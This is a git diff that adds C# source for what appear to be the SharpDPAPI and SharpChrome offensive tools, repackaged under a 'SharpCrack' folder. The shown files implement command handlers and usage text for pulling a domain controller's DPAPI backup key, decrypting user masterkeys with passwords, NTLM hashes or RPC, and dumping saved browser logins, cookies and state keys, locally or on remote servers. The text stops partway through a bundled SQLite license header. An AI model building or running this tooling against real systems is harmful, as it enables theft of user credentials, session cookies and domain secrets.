not just ones that are linked to installed certs (the default) + /machine - use the local machine store for certificate triage + /mkfile | /target - for /machine triage + [all decryption args from User Triage above] + + +Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets. + These functions wrap all the other applicable functions that can be automatically run. + +"; + Console.WriteLine(usage); + } + } +} diff --git a/SharpCrack/DPAPI/Domain/Version.cs b/SharpCrack/DPAPI/Domain/Version.cs new file mode 100644 index 0000000..451bd64 --- /dev/null +++ b/SharpCrack/DPAPI/Domain/Version.cs @@ -0,0 +1,9 @@ +using System; + +namespace SharpDPAPI +{ + public static class Version + { + public static string version = "1.12.0"; + } +} diff --git a/SharpCrack/DPAPI/Program.cs b/SharpCrack/DPAPI/Program.cs new file mode 100644 index 0000000..df72174 --- /dev/null +++ b/SharpCrack/DPAPI/Program.cs @@ -0,0 +1,130 @@ +using SharpDPAPI.Domain; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; + +namespace SharpDPAPI +{ + class Program + { + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + Stopwatch sw = new Stopwatch(); + sw.Start(); + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0].ToLower() : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0].ToLower() : ""; + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); + Console.WriteLine(e); + } + } + } +} diff --git a/SharpCrack/DPAPI/Properties/AssemblyInfo.cs b/SharpCrack/DPAPI/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..cd42700 --- /dev/null +++ b/SharpCrack/DPAPI/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpDPAPI")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpDPAPI")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("5f026c27-f8e6-4052-b231-8451c6a73838")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpCrack/DPAPI/SharpDPAPI.csproj b/SharpCrack/DPAPI/SharpDPAPI.csproj new file mode 100644 index 0000000..fdd80de --- /dev/null +++ b/SharpCrack/DPAPI/SharpDPAPI.csproj @@ -0,0 +1,121 @@ + + + + + Debug + AnyCPU + {5F026C27-F8E6-4052-B231-8451C6A73838} + Exe + Properties + SharpDPAPI + SharpDPAPI + v3.5 + 512 + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + AnyCPU + true + full + false + bin\Debug\ + prompt + 4 + false + + + AnyCPU + none + false + bin\Release\ + prompt + 0 + false + + + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + \ No newline at end of file diff --git a/SharpCrack/DPAPI/app.config b/SharpCrack/DPAPI/app.config new file mode 100644 index 0000000..8678c4c --- /dev/null +++ b/SharpCrack/DPAPI/app.config @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Commands/Backupkey.cs b/SharpCrack/SharpCrack/Commands/Backupkey.cs new file mode 100644 index 0000000..e03cfbc --- /dev/null +++ b/SharpCrack/SharpCrack/Commands/Backupkey.cs @@ -0,0 +1,48 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Backupkey : ICommand + { + public static string CommandName => "backupkey"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); + + string server = ""; + string outFile = ""; + bool noWrap = false; + + if (arguments.ContainsKey("/nowrap")) + { + noWrap = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("\r\n[*] Using server : {0}", server); + } + else + { + server = SharpDPAPI.Interop.GetDCName(); + if (String.IsNullOrEmpty(server)) + { + return; + } + Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); + } + + if (arguments.ContainsKey("/file")) + { + // if we want the backup key piped to an output file + outFile = arguments["/file"]; + } + + SharpDPAPI.Backup.GetBackupKey(server, outFile, noWrap); + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Commands/Cookies.cs b/SharpCrack/SharpCrack/Commands/Cookies.cs new file mode 100644 index 0000000..bd95982 --- /dev/null +++ b/SharpCrack/SharpCrack/Commands/Cookies.cs @@ -0,0 +1,182 @@ +using SharpDPAPI; +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Cookies : ICommand + { + public static string CommandName => "cookies"; + + public void Execute(Dictionary arguments) + { + arguments.Remove("cookies"); + + string displayFormat = "csv"; // "csv", "table", or "json" display + string server = ""; // used for remote server specification + bool showAll = false; // whether to display entries with null passwords + bool unprotect = false; // whether to force CryptUnprotectData() + bool setneverexpire = false; // set cookie output expiration dates to now + 100 years + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) + string cookieRegex = ""; // regex to search for specific cookie names + string urlRegex = ""; // regex to search for specific URLs for cookies + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } + + if (arguments.ContainsKey("/format")) + { + displayFormat = arguments["/format"]; + } + + if (arguments.ContainsKey("/cookie")) + { + cookieRegex = arguments["/cookie"]; + } + + if (arguments.ContainsKey("/url")) + { + urlRegex = arguments["/url"]; + } + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/setneverexpire")) + { + setneverexpire = true; + } + + if (arguments.ContainsKey("/showall")) + { + showAll = true; + } + + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}\r\n", stateKey); + } + } + + if (!quiet) + { + if (showAll) + { + Console.WriteLine("[*] Triaging all cookies, including expired ones."); + } + else + { + Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies."); + } + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } + + if (File.Exists(target)) + { + if (!quiet) + { + Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); + } + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes, quiet); + } + else if (Directory.Exists(target) && target.ToLower().Contains("users")) + { + Chrome.TriageChromeCookies(masterkeys, server, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && (masterkeys.Count == 0)) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification !"); + } + else + { + Chrome.TriageChromeCookies(masterkeys, server, "", displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Commands/ICommand.cs b/SharpCrack/SharpCrack/Commands/ICommand.cs new file mode 100644 index 0000000..d0e7093 --- /dev/null +++ b/SharpCrack/SharpCrack/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace SharpChrome.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Commands/Logins.cs b/SharpCrack/SharpCrack/Commands/Logins.cs new file mode 100644 index 0000000..cf5aa5c --- /dev/null +++ b/SharpCrack/SharpCrack/Commands/Logins.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Logins : ICommand + { + public static string CommandName => "logins"; + + public void Execute(Dictionary arguments) + { + arguments.Remove("logins"); + + string displayFormat = "csv"; // "csv" or "table" display + string server = ""; // used for remote server specification + bool showAll = false; // whether to display entries with null passwords + bool unprotect = false; // whether to force CryptUnprotectData() + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently supported: "chrome", "edge", "brave" + string target = ""; // target file/user folder to triage + + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } + + if (arguments.ContainsKey("/format")) + { + displayFormat = arguments["/format"]; + } + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/showall")) + { + showAll = true; + } + + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } + + if (File.Exists(target)) + { + if (!quiet) + { + Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); + } + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes, quiet); + } + else if(Directory.Exists(target) && target.ToLower().Contains("users")) + { + Chrome.TriageChromeLogins(masterkeys, server, target, displayFormat, showAll, unprotect, stateKey, browser, quiet); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && (masterkeys.Count == 0)) + { + Console.WriteLine("[!] Warning: the '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification for successful decryption!"); + } + + Chrome.TriageChromeLogins(masterkeys, server, target, displayFormat, showAll, unprotect, stateKey, browser, quiet); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Commands/Statekeys.cs b/SharpCrack/SharpCrack/Commands/Statekeys.cs new file mode 100644 index 0000000..58dab4e --- /dev/null +++ b/SharpCrack/SharpCrack/Commands/Statekeys.cs @@ -0,0 +1,96 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Statekeys : ICommand + { + public static string CommandName => "statekeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n"); + arguments.Remove("statekeys"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Chrome.TriageStateKeys(masterkeys, server, unprotect, target); + } + else if (Directory.Exists(target) && target.ToLower().Contains("users")) + { + Chrome.TriageStateKeys(masterkeys, server, unprotect, "", target); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && (masterkeys.Count == 0)) + { + Console.WriteLine("[!] Warning: the '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification for successful decryption!"); + } + Chrome.TriageStateKeys(masterkeys, server, unprotect); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Domain/ArgumentParser.cs b/SharpCrack/SharpCrack/Domain/ArgumentParser.cs new file mode 100644 index 0000000..4df2c52 --- /dev/null +++ b/SharpCrack/SharpCrack/Domain/ArgumentParser.cs @@ -0,0 +1,31 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace SharpChrome.Domain +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + else + arguments[argument] = string.Empty; + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/SharpCrack/SharpCrack/Domain/ArgumentParserResult.cs b/SharpCrack/SharpCrack/Domain/ArgumentParserResult.cs new file mode 100644 index 0000000..c908c62 --- /dev/null +++ b/SharpCrack/SharpCrack/Domain/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace SharpChrome.Domain +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Domain/CommandCollection.cs b/SharpCrack/SharpCrack/Domain/CommandCollection.cs new file mode 100644 index 0000000..41f6b56 --- /dev/null +++ b/SharpCrack/SharpCrack/Domain/CommandCollection.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using SharpChrome.Commands; + +namespace SharpChrome.Domain +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Backupkey.CommandName, () => new Backupkey()); + _availableCommands.Add(Logins.CommandName, () => new Logins()); + _availableCommands.Add(Cookies.CommandName, () => new Cookies()); + _availableCommands.Add(Statekeys.CommandName, () => new Statekeys()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound = false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Domain/Info.cs b/SharpCrack/SharpCrack/Domain/Info.cs new file mode 100644 index 0000000..020f5eb --- /dev/null +++ b/SharpCrack/SharpCrack/Domain/Info.cs @@ -0,0 +1,61 @@ +using System; + +namespace SharpChrome.Domain +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n __ _ "); + Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ "); + Console.WriteLine(" __) | | (_| | |_) \\_ | | | (_) | | | (/_ "); + Console.WriteLine(" | "); + Console.WriteLine(" v{0} \r\n", SharpDPAPI.Version.version); + } + + public static void ShowUsage() + { + string usage = @" +Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: + + SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk] + + +Global arguments for the 'cookies', 'logins', and 'statekeys' commands: + + Decryption: + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /statekey:X - a decrypted AES state key (from the 'statekey' command) + + Targeting: + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /target:C:\Users\X\ - triage a specific user folder for any specified command + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave' + + Output: + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk + /quiet - don't output headers/etc. (for .csv/.json file output) + + +'cookies' command specific arguments: + + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex + /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex + /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex! + /setneverexpire - set expirations for cookies output to now + 100 years (for json output) + +"; + Console.WriteLine(usage); + } + } +} diff --git a/SharpCrack/SharpCrack/Program.cs b/SharpCrack/SharpCrack/Program.cs new file mode 100644 index 0000000..f42da47 --- /dev/null +++ b/SharpCrack/SharpCrack/Program.cs @@ -0,0 +1,138 @@ +using SharpChrome.Domain; +using System; +using System.Collections.Generic; +using SQLite; +using System.IO; +using System.Diagnostics; + +namespace SharpChrome +{ + class Program + { + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + Stopwatch sw = new Stopwatch(); + sw.Start(); + + if (!parsedArgs.ContainsKey("/quiet")) + { + Info.ShowLogo(); + } + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + + if (!parsedArgs.ContainsKey("/quiet")) + { + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); + Console.WriteLine(e); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/Properties/AssemblyInfo.cs b/SharpCrack/SharpCrack/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..ae76c93 --- /dev/null +++ b/SharpCrack/SharpCrack/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpChrome")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpChrome")] +[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("2f00a05b-263d-4fcc-846b-da82bd684603")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpCrack/SharpCrack/SQLite/SQLite.cs b/SharpCrack/SharpCrack/SQLite/SQLite.cs new file mode 100644 index 0000000..3f29ce2 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/SQLite.cs @@ -0,0 +1,3170 @@ +// +// Copyright (c) 2009-2012 Krueger Systems, Inc. +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above 